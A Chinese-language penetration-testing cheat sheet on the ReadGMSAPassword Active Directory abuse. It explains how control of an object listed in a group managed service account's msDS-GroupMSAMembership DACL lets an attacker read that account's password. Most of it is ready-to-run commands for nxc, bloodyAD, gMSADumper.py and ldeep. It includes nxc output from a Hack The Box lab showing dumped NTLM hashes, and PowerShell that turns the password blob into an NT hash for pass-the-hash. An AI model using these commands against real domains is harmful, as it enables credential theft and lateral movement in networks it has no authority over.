5.ReadGMSAPassword
1. 介绍
这种攻击,允许在特定条件下读取组托管服务账户(gMSA)的密码。这种攻击与其他滥用方式略有不同,它可以通过控制一个在目标 gMSA 账户的 msDS-GroupMSAMembership 属性的 DACL(自主访问控制列表)中拥有足够权限的对象来执行。通常,这些拥有权限的对象是明确被允许使用 gMSA 账户的主体。如果满足这些权限要求,攻击者就可以成功读取 gMSA 账户的密码。
2. 利用
2.1. 利用条件
利用此攻击的关键条件是攻击者能够控制一个对象,该对象在目标 gMSA 账户的 msDS-GroupMSAMembership 属性的 DACL(自主访问控制列表) 中具有足够的权限。这意味着攻击者需要具备修改或读取该特定属性的权限。
如:

2.2. 利用工具
2.2.1. nxc
nxc的 --gmsa 参数
┌──(root㉿kali)-[~/Desktop/htb/Pirate] └─# nxc ldap 10.129.124.28 -u ms01$ -p ms01 -k --gmsa LDAP 10.129.124.28 389 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:pirate.htb) (signing:None) (channel binding:Never) LDAP 10.129.124.28 389 DC01 [+] pirate.htb\ms01$:ms01 LDAP 10.129.124.28 389 DC01 [*] Getting GMSA Passwords LDAP 10.129.124.28 389 DC01 Account: gMSA_ADCS_prod$ NTLM: 304106f739822ea2ad8ebe23f802d078 PrincipalsAllowedToReadPassword: Domain Secure Servers LDAP 10.129.124.28 389 DC01 Account: gMSA_ADFS_prod$ NTLM: 8126756fb2e69697bfcb04816e685839 PrincipalsAllowedToReadPassword: Domain Secure Servers
2.2.2. bloodyAD
bloodyAD --host "$DC_IP" -d "$DOMAIN" -u "$USER" -p "$PASSWORD" get object $TargetObject --attr msDS-ManagedPassword

执行后即可获取到组托管服务账号的hash
2.2.3. gMSADumper.py
更加智能,会自动列出可以受到攻击的组托管服务账号的hash
gMSADumper.py -u 'user' -p 'password' -d 'domain.local'

2.2.4. ldeep
ldeep ldap -d "$DOMAIN" -s "$DC_IP" -u "$USER" -p "$PASSWORD" gmsa -t $TargetObject

2.3. windows下利用
# Save the blob to a variable
$gmsa = Get-ADServiceAccount -Identity 'Target_Account' -Properties 'msDS-ManagedPassword'
$mp = $gmsa.'msDS-ManagedPassword'
# Decode the data structure using the DSInternals module
ConvertFrom-ADManagedPasswordBlob $mp
# Build a NT-Hash for PTH
(ConvertFrom-ADManagedPasswordBlob $mp).SecureCurrentPassword | ConvertTo-NTHash
# Alterantive: build a Credential-Object with the Plain Password
$cred = new-object system.management.automation.PSCredential "Domain\Target_Account",(ConvertFrom-ADManagedPasswordBlob $mp).SecureCurrentPassword